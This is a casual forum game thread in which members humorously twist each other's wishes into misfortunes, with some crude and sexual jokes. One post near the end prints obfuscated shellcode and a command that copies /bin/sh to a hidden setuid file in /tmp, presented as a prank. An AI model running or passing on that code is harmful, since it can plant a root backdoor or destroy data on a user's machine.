MoronYard
General => General Discussion => Forum Games => Topic started by: Willdy on February 05, 2012, 01:50:26 AM
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So, you need to make a post wishing for something, but at the same time you need to corrupt the wish of the above poster.
For example..
Player 1: I wish I had a million pounds!
Player 2: You have £1 Million, but it is stolen and you are arrested. I wish for 3 legs.
Player 3: Granted! You have 3 legs. During this process you lost the area between your legs and can no longer go to the toilet despite needing it desperately. I wish I had a time machine.
Start:
I wish I had a pet Eagle.
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You get a eagle but a horse jumped of a cliff and bit its wing so it plummeted to the ground. I wish i had a unicorn
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You get a unicorn. A unicorn from Terraria (http://wiki.terrariaonline.com/Unicorn) that will tear your limbs off and feast on your flesh.
I wish I didn't have to give that huge presentation on Tuesday.
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You no longer need to give the presentation, however, you have automatically failed whatever you were trying to achieve with the presentation.
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So did you, because you did not wish for anything at all. INSTA-FAIL!
I wish for a great Smash map!
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You have been granted a large smash map, but you have had to step down as owner of Moronyard and replace yourself with the creator.
I wish for some more series 4 chests :D
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You get 2 chests (Series 4) but you have to crawl up a elephants ass to get it.
I wish I had unlimited money, in real life.
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You get unlimited money but you go crazy with it and people find out the the economy goes to shit and the world tears apart. I wish i had Flying Tutle :3
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The flying turtle leaves you for Stebbzor because it is a gravedigger and knows that Stebbzor won't last long in the mental asylum.
I wish this thread was more of a challenge.
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Wish granted if only you sit on your chair for 48 hours coding, you can't stand up or take your hands off your keyboard.
I wish I knew C/C++ 100%
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You know C/C++ 100%, but you no longer have any movement in the fingers after nonstop coding. This means you can't use it.
I wish for a wish which wasn't so easily corupted.
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Granted! But in return, you can no longer wish.
I wish for my Moderator Application to be accepted.
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Your application is accepted, but you are only a moderator on the lobby server!
I wish for nonSENSE to post next.
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Nonesense is replaced y Fro Dough and Steb is the only Owner!
I wish for nothing.
HA.
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Granted, but you can no longer get anything, ever!!!
I wish for a perfect life <3
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You do, but then you wake up and realize it was all a dream.
I wish you couldn't roast duck.
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Granted, ill boil the duck :3
I wish for a nicer boiled duck.
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You got that but then it was so nice you decided to eat nothing but that ever again. However since the great duck boil of sixety two, there has been only ever one duck. Which you just ate. And then you died of hunger.
I wish for a cup.
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You are granted a cup, but it is filled with a watery yellow liquid.
I wish for my avatar to live with me
<<<
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It eats you.
I wish I had Borderlands 2 already :S
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you get borderlands 2 but its a in dev version and it makes your system explode
i wish there was no lag on earth
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There was no lag becuase there was no computers.
I wish for myslef to die and go to hell.
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You die and go to hell, but you are forever burning.
I wish for someone to become a moderator at MoronYard!
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Your wish is granted but the new mod Ab00zes and permabans us all.
I wish for a completly normal, perfectly average pencil that in now way can negativley affect me.
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You have a pencil, but it is blunt and you do not have anything you can use to sharpen it.
I wish for a pen with unlimited ink that isn't going to kill anyone.
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The pen Just imprisons you using its pen army.
I wish for my finger to come of, the wond to get infected, for me to die and go to Hell.
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You go to hell but SniperDuck is already waiting for you there, roasting away.
I wish for my exam sessions to be over already...
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Your exams are over, but you will fail every single one.
I wish for the perfect life.
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Your life is what you percieve to be perfect if you like being locked in a foam room listening to justin bieber on loop.
I wish to pass my college courses
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You pass your college courses and then learn they are useless qualifications and you have to restart.
I wish for the ability to sleep at night without having to lay in bed for several hours.
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Done, but you will never wake up.
I wish for more great Slope maps.
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You are flooded with good slope maps but never able to play them.
I wish for everyone in this thread to ignore this wish!
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I ignore Jaythorpe
I wish that I had a lot of money :[
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I give you all the money you want but as soon as you see the total amount you die of a heart-attack.
I wish for this thread (http://www.facepunch.com/forums/390) to be very popular.
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That thread becomes popular for the wrong reason and is deleted.
I wish for a chicken which can code.
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Granted, but the chicken codes a human farming machine
I wish i could model and make a unicorn horn knife for tf2 (seriously im gonna make it)
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You cna make + model the thing you said, but due to the rules of life you can't have the item added to MoronYard.
I wish for the most forum posts.
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Your wish has been granted, but you got arthritis posting so much so you couldn't post anymore.
I wish i could have all the Legendary katanas so i can delete all of them but 1 and have the only one in moronyard.
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You get all the katanas, but you end up selling it to me since I rock.
I wish I could be steppin' on the beach.
http://www.youtube.com/watch?v=1zkugyGWBiw&feature=player_detailpage (http://www.youtube.com/watch?v=1zkugyGWBiw&feature=player_detailpage)
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You begin to step on the beach, but an angry tentacle monster comes out of the sand and grabs you.
I wish for America's economy to get better
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Americas economy will get better, but only because they started and won a world war, 50% of humanity is now dead.
I wish for eternal life
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You are granted eternal life, but you get your leg stuck under water and you live there for the rest of your life.
I wish i could have 200 million dollars on MY
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You have 200 million dollars on MY, but nonsense removed the need for dollars and introduced a new currency.
I wish for a happy life.
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You begin to have a happy life, but because you were so happy you fell into a deep depression and suicided.
I wish to have a baby boy.
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You have a baby boy, but he grows up to become Hitler.
I wish for letters after my name.
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The letters after your name are C, o, c and k
I wish for 10 gold bars
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They're all held in bank accounts that you cannot access.
I wish for a docile pet alligator.
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Your pet alligator looks like SCP-682 (http://www.scp-wiki.net/scp-682)
I wish for the lobby and dodgeball servers to open up.
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The lobby and dodgeball servers are open, but all your items have been replaced by rare crafting catalysts with sunbeam effect that can't be traded or used in crafting.
I wish I had a new bass amplifier.
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Your bass amplifier turns all your music into 200 decible "quacks".
I wish my cat was a friendly dinosaur in a tophat.
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Your cat is a friendly dinosaur in a tophat but it got forever stuck in the cat flap.
I wish to go home.
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You make it home, only to find pics of nonSENSE posing nude pinned up all over your house.
I want a new pair of headphones.
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Your headphones break your ears when you put them on, as they emit extremely loud constant noise.
I wish for viruses to never exist.
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Viruses no longer exist, this causes a previously ignored strain of bacteria in your body to multiply rapidly, as the phages suppressing it cease to exist. You end up dying from bacterial infection.
I wish for world peace. domination.
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The world is dominated by a nice elderly couple who decide to leave everything as it is.
I wish for infinity wishes.
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You get your infinity wishes, however you can only make a wish by saying it out loud and your vocal cords have disappeared, leaving you wondering the streets helplessly trying to explain to people what's wrong. You're swiftly taken away from society by some lovely kind men in white laboratory coats.
I wish for more alcohol plxs.
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You get 100% alcohol, which is poison.
I wish to be able to control any machine, not go crazy with power and be able to go into machines such as computers and play games.
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The instant you go inside the first computer a universal life-glitch happens, as you control the thing you are within with your mind, which is a subset of what you control.
Forever trapped in this vortex of inception, you become unable to leave the first game you ever entered - a 2 year-old's Hannah Montana game.
I wish I had a love potion.
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You have a love potion, but you are forced to use it on this man: http://blog.getfastyoutubeviews.com/wp-content/uploads/2012/06/Ugly-Man-on-YouTube.jpg (http://blog.getfastyoutubeviews.com/wp-content/uploads/2012/06/Ugly-Man-on-YouTube.jpg)
I wish I could teleport anywhere in the world.
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You can teleport anywhere! But you don't understand how to do it, and so you actually never teleport anywhere.
I wish Willdy loved me.
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Willdy does love you! However, you're caught sending him nudes and all means of communication are removed from you, before you could find out where he lived.
Thus you're destined to never live a happy life together.
I wish for a pony.
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I wish for a pony.
You recieve a pony, but it grows to be the size of your house and proceeds to go on a horrible pony rampage killing all the children in the neighborhood.
I wish I could run at speeds up to 300 miles per hour.
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Yaaay! I love rampaging poneis!!!
You can run at 300mph, however, you lose the ability to walk and run at lower speeds, you're just as delicate, and your perception stays the same.
I wish I was little bit taller,
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I wish I was little bit taller,
You are a little bit taller. However, a little bit to me means 1micrometer. This is too small to be noticed by anyone.
(This isn't that much of a tragedy Lol)
I wish I could make any person in the world happy just by thinking about it.
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You can make anybody in the world happy just by thinking about it, however, you're never able to feel happiness yourself, and even your bad thoughts will be projected into real life.
I wish I was a baller.
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(Jumping in on this band-wagon... o,o)
Granted, You are baller, but you can't fly high, you lie, unnoticed; With no foreign rides, outside, you're hopeless.
I wish I was Nonexistent.
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You are nonexistant, to everybody but yourself so you know that you exist, so therefore your forever stuck there with only you knowing that you exist
I wish I had a job!
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You get a job, but the job is to clean up elephant shit at in a unknown area in Africa having little food, water or communication with other human beings.
I wish I had the community Snep bek.
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I wish I had the community Snep bek.
You receive a community Snep bek but only right as the server changes. When you rejoin, you find that your item was swallowed by the moronyard abyss and is no longer in your inventory.
I wish I was in Colorado.
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You're in Colorado, but only because a druglord and his cronies have kidnapped you and are planning on murdering you unless your family pays a $100m bounty.
I wish I had a rabbit in a hat with a bat.
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You're in Colorado, but only because a druglord and his cronies have kidnapped you and are planning on murdering you unless your family pays a $100m bounty.
I wish I had a rabbit in a hat with a bat.
You get your rabbit with a bat, your rabbit takes your hat and robes you with the bat
I wish for Ninja's Inventory
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You receive Ninja's inventory, but he made sure to place everything but a couple of Wooden Fragment (D)'s in his bank. :)
I wish for a 64' impala.
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You get a 64' impala but within 10 minutes of having it the head gasket blows, so you leave it by the side of the road only to come back and find that it has been inhabited by 5 homeless men
I wish to sell my timely aura
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You get a 64' impala but within 10 minutes of having it the head gasket blows, so you leave it by the side of the road only to come back and find that it has been inhabited by 5 homeless men
I wish to sell my timely aura
You sell you aura for 60mil but it glitches and you loose 60mil,but person gets aura
I wish for sorting items to work
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Sorting items works but it uses a new algorithm that mushes all of your items into a single one, which is untradeable and unequipable.
I wish for a pair of hot european chicks... :3
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You get said hot European chicks, but they're too hot. The chicks are literally on fire, and are screaming in agonizing pain in front of you.
I wish for a real-life console (To type kill, retry, disconnect, etc.)
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You receive your real life console, and spend a couple of days happily playing around with it, until somebody tells you to type the command
char esp[] __attribute__ ((section(.text))) /* e.s.p
release */
= \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
\x6e\x2f\x73\x68\x00\x2d\x63\x00″
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;;
You carry out the command unknowingly and are suddenly placed in an ethereal dark space without the ability to interact with anything, including your own console. You're trapped indefinitely.
I wish for a new towel.
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You receive a new towel! However it is new to YOU and previously belonged to this guy http://www.untoldentertainment.com/blog/img/2009_05_07/oldMan.jpg .
I wish Bing :3 would stop being Willdy's, Nija'd and multiple other peoples whore. :)
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I don't see how that's corrupted my wish... ;)
You get your wish, Bing is now ONLY my whore and nobody else's, including yourself. >:)
I wish for Bing, naked and covered in whipped cream.
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WISH GRANTE - oh this isn't how this works? :-\
The whipped cream has been out of date for 5 years, and to reach Bing, you have to eat it.
I wish for a job that only involved playing video games.
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Wish granted!
Someone invented a Nyan Cat game, the music is constant your job involves playing the game constantlyfor the rest of your life. You're paid but can't use the money as you have to play the game constantly.
(Fyi THE GAME)
I wish I had all the Shining Axes :D
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You have all the shining axes, but they are shining so much they temporarily blind you and you accidentally click the brand new "mass delete button" and delete them all.
I wish the new relics weren't coming out xD
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Wish granted but all relics vanish.
I wish for a tail.
(Revival of a deaD GAME)